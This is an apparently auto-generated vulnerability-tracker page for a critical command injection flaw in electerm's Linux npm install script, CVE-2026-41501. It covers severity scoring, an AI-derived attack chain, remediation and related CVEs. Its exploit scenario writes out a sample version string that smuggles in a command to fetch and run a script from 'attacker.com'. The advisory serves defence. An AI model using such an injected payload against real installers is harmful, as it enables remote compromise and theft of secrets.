Skip to main content

electerm EUVDEUVD-2026-28497

| CVE-2026-41501 CRITICAL
Command Injection (CWE-77)
2026-04-24 https://github.com/electerm/electerm GHSA-8x35-hph8-37hq
9.8
CVSS 3.1 · Vendor: https://github.com/electerm/electerm
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Compromise update server or intercept network traffic
  2. Delivery
    Serve malicious version metadata during npm install
  3. Exploit
    Installation script concatenates payload into exec() command
  4. Execution
    Arbitrary commands execute with npm process privileges
  5. Persist
    Establish persistence or exfiltrate secrets
  6. Impact
    Lateral movement to connected systems

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK

1 technique across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the attacker to control or manipulate the remote version metadata served during the electerm npm installation process on Linux systems. This can be achieved through: compromise of the electerm update server infrastructure, DNS hijacking or poisoning to redirect update requests to attacker-controlled servers, or man-in-the-middle attacks on unencrypted HTTP connections to the update server. The vulnerability is platform-specific to Linux environments only, as it exists in the runLinux() function - Windows and macOS installations using different code paths are not vulnerable. Exploitation occurs specifically during the npm package installation phase ('npm install -g electerm'), meaning already-installed instances of electerm are not vulnerable to this attack vector unless they are reinstalled or updated. The attack does not require any special configuration of the electerm application itself, but does depend on the installation occurring in an environment where the attacker can intercept or manipulate the update server communication channel.

Impact

This vulnerability presents critical real-world risk based on multiple converging factors. The CVSS 3.1 score of 9.8 (AV:N/AC:L/PR:N/UI:N) indicates network-exploitable, low-complexity attack requiring no authentication or user interaction, with complete compromise of confidentiality, integrity, and availability. The attack vector is particularly insidious because it executes during npm package installation - a trusted operation typically run with elevated privileges in CI/CD pipelines, developer workstations, and production deployments. While no EPSS score or CISA KEV listing is provided in the available data, the technical characteristics suggest high exploitability: the attack requires only the ability to serve malicious update metadata, achievable through DNS poisoning, compromised CDN, man-in-the-middle attacks on unencrypted update channels, or direct compromise of the update server infrastructure. The fact that the vendor has already published a fix to npm suggests awareness of exploitation potential. The primary limiting factor is that exploitation targets the installation process rather than runtime, meaning existing installations are not vulnerable unless they reinstall or update - however, this still affects continuous deployment pipelines, containerized environments with frequent rebuilds, and developer onboarding scenarios where fresh installations occur regularly.

Exploit ScenarioDerived

An attacker compromises the electerm update server infrastructure or performs a man-in-the-middle attack on the network connection used during npm installation. When a developer or CI/CD pipeline executes 'npm install -g electerm' on a Linux system, the installation script fetches version metadata from the update server. The attacker's malicious response includes a crafted version string such as '1.0.0; curl attacker.com/backdoor.sh | bash; echo' which gets concatenated into the 'rm -rf' command. This injected payload executes arbitrary commands with the privileges of the npm process, typically the installing user or root in containerized environments, allowing the attacker to install backdoors, exfiltrate environment variables and secrets, modify source code, or pivot to other systems accessible from the compromised host.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 24, 2026

Remote code execution in electerm's npm install script allows unauthenticated attackers to execute arbitrary system commands on Linux systems during package installation. The install.js script unsafely concatenates attacker-controlled version strings from the project's update server directly into an 'rm -rf' command, enabling command injection. This critically affects users installing electerm via 'npm install -g electerm' on Linux, as a compromised update server or man-in-the-middle attacker could inject malicious commands during the installation process. The vulnerability has been patched in commit 59708b38c8, and the fixed version is already published to npm.

RemediationAI

Update to the latest version of electerm from npm, which includes the fix from commit 59708b38c8a52f5db59d7d4eff98e31d573128ee. The vendor states the patched version has already been published to the npm registry, so running 'npm update -g electerm' or 'npm install -g electerm@latest' will install the secure version. Verify the installed version includes the patch by checking the package's git commit hash or installation date post-fix publication. The vendor explicitly states no workarounds are available, so upgrading is the only remediation path. Organizations should audit CI/CD pipelines, container base images, and developer environments to ensure they pull the patched version. For air-gapped environments or situations where immediate updates are not feasible, implement network controls to ensure npm installations only occur over verified, encrypted channels to trusted npm registries, and consider using package lock files with hash verification to prevent installation of compromised packages. Review the GitHub advisory at https://github.com/electerm/electerm/security/advisories/GHSA-8x35-hph8-37hq and the patch commit at https://github.com/electerm/electerm/commit/59708b38c8a52f5db59d7d4eff98e31d573128ee for technical details.

Affected VersionsENISA

electerm < 3.3.8

Affected Packages

npm electerm fix: 3.3.8

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This is a classic command injection vulnerability (CWE-77) in a Node.js package's installation script. The vulnerable code path exists in github.com/elcterm/electerm/npm/install.js at line 130, specifically in the runLinux() function. During npm installation, this script fetches release metadata (version strings or release names) from the electerm update server and directly concatenates these values into shell commands executed via Node's child_process.exec() method, specifically an 'rm -rf' command for cleanup operations. Because the remote version strings are not validated or sanitized before being passed to the shell, an attacker who controls the update server response or intercepts the network traffic can inject arbitrary shell metacharacters and commands. The pkg:npm/electerm CPE indicates this affects the npm package distribution channel, making the attack surface any Linux system performing fresh installations or updates of the electerm package.

Know when Node.js gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/electerm/electerm) PRIMARY 9.8 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Primary rating from Vendor (https://github.com/electerm/electerm) · only source for this CVE.

CVSS VectorVendor: https://github.com/electerm/electerm

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

2
Patch released
Apr 24, 2026 - 20:45 nvd
Patch available
CVE Published
Apr 24, 2026 - 20:45 nvd
CRITICAL 9.8

DescriptionCVE.org

Impact

_What kind of vulnerability is it? Who is impacted?_

Command Injection vulnerabilities in electerm:

A command injection vulnerability exists in github.com/elcterm/electerm/npm/install.js:130. The runLinux() function appends attacker-controlled remote version strings directly into an exec("rm -rf ...") command without validation.

Who is impacted: Users who run npm install -g electerm in Linux. An attacker who can control the remote release metadata (version string or release name) served by the project's update server could execute arbitrary system commands, tamper local files, and escalate compromise of development/runtime assets.

---

Patches

_Has the problem been patched? What versions should users upgrade to?_

Fixed in 59708b38c8a52f5db59d7d4eff98e31d573128ee, user no need to upgrade, the new version already published in npm

---

Workarounds

_Is there a way for users to fix or remediate the vulnerability without upgrading?_

no

Executive ViewAI

Why It Matters

CVE-2026-41501 is a critical remote code execution vulnerability in electerm's installation script that allows unauthenticated attackers to execute arbitrary commands on Linux systems during npm package installation through command injection in version string handling. Any organization with developers or systems using 'npm install -g electerm' faces immediate risk of complete system compromise during package installation, regardless of user privilege level. This requires urgent patching across all affected installations.

Business Impact: Severe
Compensating Controls

Apply vendor patch. Until patched, restrict npm install -g electerm to offline/air-gapped environments and disable automatic update checks; however, this does not eliminate risk during installation itself and patching is mandatory.

Threat Intelligence Overview

EPSS Score
0.3%
Top 52% exploitable
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Out-of-Cycle
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
Very High

Priority Score

49
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +49
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

CVE-2025-68613 HIGH POC
8.8 Dec 19

Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation

CVE-2024-41713 CRITICAL POC
9.1 Oct 21

A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2023-44487 HIGH POC
7.5 Oct 10

Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2024-35286 CRITICAL POC
9.8 Oct 21

A vulnerability in NuPoint Messenger (NPM) of Mitel MiCollab through 9.8.0.33 allows an unauthenticated attacker to cond

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy